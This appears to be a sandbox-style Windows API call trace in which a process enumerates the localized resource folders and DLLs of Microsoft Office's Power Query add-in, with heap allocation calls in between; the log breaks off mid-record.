[0088.858] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0088.862] GetProcessHeap () returned 0x11a0000 [0088.862] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.862] GetProcessHeap () returned 0x11a0000 [0088.862] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0088.866] GetProcessHeap () returned 0x11a0000 [0088.866] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.866] GetProcessHeap () returned 0x11a0000 [0088.866] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0088.870] GetProcessHeap () returned 0x11a0000 [0088.870] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.871] GetProcessHeap () returned 0x11a0000 [0088.871] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0088.877] GetProcessHeap () returned 0x11a0000 [0088.877] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.877] GetProcessHeap () returned 0x11a0000 [0088.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0089.132] GetProcessHeap () returned 0x11a0000 [0089.132] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.132] GetProcessHeap () returned 0x11a0000 [0089.132] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b708 [0089.138] GetProcessHeap () returned 0x11a0000 [0089.138] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.138] GetProcessHeap () returned 0x11a0000 [0089.138] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0089.142] GetProcessHeap () returned 0x11a0000 [0089.142] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.142] GetProcessHeap () returned 0x11a0000 [0089.142] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0089.146] GetProcessHeap () returned 0x11a0000 [0089.146] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.146] GetProcessHeap () returned 0x11a0000 [0089.146] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0089.150] GetProcessHeap () returned 0x11a0000 [0089.150] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.150] GetProcessHeap () returned 0x11a0000 [0089.150] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0089.155] GetProcessHeap () returned 0x11a0000 [0089.155] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.155] GetProcessHeap () returned 0x11a0000 [0089.155] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0089.159] GetProcessHeap () returned 0x11a0000 [0089.159] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.159] GetProcessHeap () returned 0x11a0000 [0089.159] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0089.163] GetProcessHeap () returned 0x11a0000 [0089.163] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.163] GetProcessHeap () returned 0x11a0000 [0089.163] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0089.166] GetProcessHeap () returned 0x11a0000 [0089.166] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.166] GetProcessHeap () returned 0x11a0000 [0089.166] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0089.557] GetProcessHeap () returned 0x11a0000 [0089.557] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.558] GetProcessHeap () returned 0x11a0000 [0089.558] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0089.562] GetProcessHeap () returned 0x11a0000 [0089.562] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.562] GetProcessHeap () returned 0x11a0000 [0089.562] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0089.567] GetProcessHeap () returned 0x11a0000 [0089.567] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.567] GetProcessHeap () returned 0x11a0000 [0089.567] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0089.573] GetProcessHeap () returned 0x11a0000 [0089.573] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.573] GetProcessHeap () returned 0x11a0000 [0089.573] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0089.581] GetProcessHeap () returned 0x11a0000 [0089.581] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.581] GetProcessHeap () returned 0x11a0000 [0089.581] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0089.585] GetProcessHeap () returned 0x11a0000 [0089.585] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.592] GetProcessHeap () returned 0x11a0000 [0089.592] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0089.597] GetProcessHeap () returned 0x11a0000 [0089.597] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.598] GetProcessHeap () returned 0x11a0000 [0089.598] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b2c8 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x3b8b2c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0089.608] FindClose (in: hFindFile=0x3b8b2c8 | out: hFindFile=0x3b8b2c8) returned 1 [0089.609] GetProcessHeap () returned 0x11a0000 [0089.609] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.609] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0089.610] GetProcessHeap () returned 0x11a0000 [0089.610] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, 